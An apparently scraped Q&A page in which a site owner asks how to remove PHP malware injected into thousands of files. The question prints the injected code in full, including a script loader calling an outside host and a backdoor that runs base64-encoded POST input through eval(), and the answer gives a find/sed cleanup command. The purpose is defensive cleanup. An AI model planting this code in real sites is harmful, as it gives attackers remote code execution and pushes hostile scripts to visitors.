Sign Up

Sign Up to our social questions and Answers Engine to ask questions, answer people’s questions, and connect with other people.

Have an account? Sign In

Have an account? Sign In Now

Sign In

Login to our social questions & Answers Engine to ask questions answer people’s questions & connect with other people.

Sign Up Here

Forgot Password?

Don't have account, Sign Up Here

Forgot Password

Lost your password? Please enter your email address. You will receive a link and will create a new password via email.

Have an account? Sign In Now

You must login to ask a question.

Forgot Password?

Need An Account, Sign Up Here

Please briefly explain why you feel this question should be reported.

Please briefly explain why you feel this answer should be reported.

Please briefly explain why you feel this user should be reported.

Sign InSign Up

The Archive Base

The Archive Base Logo The Archive Base Logo

The Archive Base Navigation

  • SEARCH
  • Home
  • About Us
  • Blog
  • Contact Us
Search
Ask A Question

Mobile menu

Close
Ask a Question
  • Home
  • Add group
  • Groups page
  • Feed
  • User Profile
  • Communities
  • Questions
    • New Questions
    • Trending Questions
    • Must read Questions
    • Hot Questions
  • Polls
  • Tags
  • Badges
  • Buy Points
  • Users
  • Help
  • Buy Theme
  • SEARCH
Home/ Questions/Q 6887359
In Process

The Archive Base Latest Questions

Editorial Team
  • 0
Editorial Team
Asked: May 27, 20262026-05-27T05:52:31+00:00 2026-05-27T05:52:31+00:00

I have to solve a code injection in my site, thousands of files are

  • 0

I have to solve a code injection in my site, thousands of files are affected. The following code has been injected in all my PHP files

global $sessdt_o; if(!$sessdt_o) { $sessdt_o = 1; $sessdt_k = "lb11"; if(!@$_COOKIE[$sessdt_k]) { $sessdt_f = "102"; if(!@headers_sent()) { @setcookie($sessdt_k,$sessdt_f); } else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; } } else { if($_COOKIE[$sessdt_k]=="102") { $sessdt_f = (rand(1000,9000)+1); if(!@headers_sent()) { @setcookie($sessdt_k,$sessdt_f); } else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; } $sessdt_j = @$_SERVER["HTTP_HOST"].@$_SERVER["REQUEST_URI"]; $sessdt_v = urlencode(strrev($sessdt_j)); $sessdt_u = "http://turnitupnow.net/?rnd=".$sessdt_f.substr($sessdt_v,-200); echo "<script src='$sessdt_u'></script>"; echo "<meta http-equiv='refresh' content='0;url=http://$sessdt_j'><!--"; } } $sessdt_p = "showimg"; if(isset($_POST[$sessdt_p])){eval(base64_decode(str_replace(chr(32),chr(43),$_POST[$sessdt_p])));exit;} }

How can find that string in the whole file structure, replace it for an empty string and keep a backup of those files? I have SSH access

UPDATE

I keep getting a -bash: syntax error near unexpected token<‘` when using

find ./ -type f -name "*.php" | xargs sed -i.bckp 's/global \$sessdt_o; if\(\!\$sessdt_o\) { \$sessdt_o = 1; \$sessdt_k = \"lb11\"; if\(\!@\$_COOKIE\[\$sessdt_k\]\) { \$sessdt_f = \"102\"; if\(\!@headers_sent\(\)\) { @setcookie\(\$sessdt_k,\$sessdt_f\); \} else { echo \"<script>document.cookie=\'\".\$sessdt_k.\"=\".\$sessdt_f.\"\';<\/script>\"; \} \} else { if\(\$_COOKIE\[\$sessdt_k\]==\"102\"\) { \$sessdt_f = \(rand\(1000,9000\)+1\); if\(\!@headers_sent\(\)\) { @setcookie\(\$sessdt_k,\$sessdt_f\); \} else { echo \"<script>document.cookie=\'\".\$sessdt_k.\"=\".\$sessdt_f.\"\';<\/script>\"; \} \$sessdt_j = @\$_SERVER\[\"HTTP_HOST\"\].@\$_SERVER\[\"REQUEST_URI\"\]; \$sessdt_v = urlencode\(strrev\(\$sessdt_j\)\); \$sessdt_u = \"http:\/\/turnitupnow.net\/?rnd=\".\$sessdt_f.substr\(\$sessdt_v,-200\); echo \"<script src=\'\$sessdt_u\'><\/script>\"; echo \"<meta http-equiv=\'refresh\' content=\'0;url=http:\/\/\$sessdt_j\'><\!--\"; \} \} \$sessdt_p = \"showimg\"; if\(isset\(\$_POST\[\$sessdt_p\]\)\){eval\(base64_decode\(str_replace\(chr\(32\),chr\(43\),\$_POST\[\$sessdt_p\]\)\)\);exit;\} \}//g'

as suggested by @flesk

Am I escaping something wrong?

thanks

  • 1 1 Answer
  • 0 Views
  • 0 Followers
  • 0
Share
  • Facebook
  • Report

Leave an answer
Cancel reply

You must login to add an answer.

Forgot Password?

Need An Account, Sign Up Here

1 Answer

  • Voted
  • Oldest
  • Recent
  • Random
  1. Editorial Team
    Editorial Team
    2026-05-27T05:52:32+00:00Added an answer on May 27, 2026 at 5:52 am

    many thanks for your answers. I was solving this problem too and although as mentioned it has to be simplified to make it work, this alteration did the job prefectly as it’s one line:

     find /home/weby/zkouska -type f -name "*.php" | xargs sed -i.bckp 's/global $sessdt_o; if(!$sessdt_o) { $sessdt_o = 1; $sessdt_k = "lb11";.*$//g'
    

    hope this going to help anyone else solving this nasty hack

    wahyaohni

    • 0
    • Reply
    • Share
      Share
      • Share on Facebook
      • Share on Twitter
      • Share on LinkedIn
      • Share on WhatsApp
      • Report

Sidebar

Related Questions

Referencing the code below, I have a list of Error objects that has been
I have such a basic problem in Delphi,I can't solve it. My Code: Note:DataR
I am looking for the Ruby-est way to solve a problem. I have code
I have a code like this, which is solved by me following a exercise
I have tried to solve the problems related to circular dependency in some files
I have the following piece of code and I have 3 questions related to
I have been told that Singletons are hard to test. http://misko.hevery.com/2008/08/17/singletons-are-pathological-liars/ http://misko.hevery.com/code-reviewers-guide/flaw-brittle-global-state-singletons/ I have
I have the following code: <c:forEach items=${mergeList} var=sublist varStatus=index> <c:forEach items=${sublist} var=item varStatus=row> So
i have some HTML code saved in a PHP string $str = <font size=2
I'm stuck on one thing i can't get solved. I have part of code,

Explore

  • Home
  • Add group
  • Groups page
  • Communities
  • Questions
    • New Questions
    • Trending Questions
    • Must read Questions
    • Hot Questions
  • Polls
  • Tags
  • Badges
  • Users
  • Help
  • SEARCH

Footer

© 2021 The Archive Base. All Rights Reserved
With Love by The Archive Base

Insert/edit link

Enter the destination URL

Or link to existing content

    No search term specified. Showing recent items. Search or use up and down arrow keys to select an item.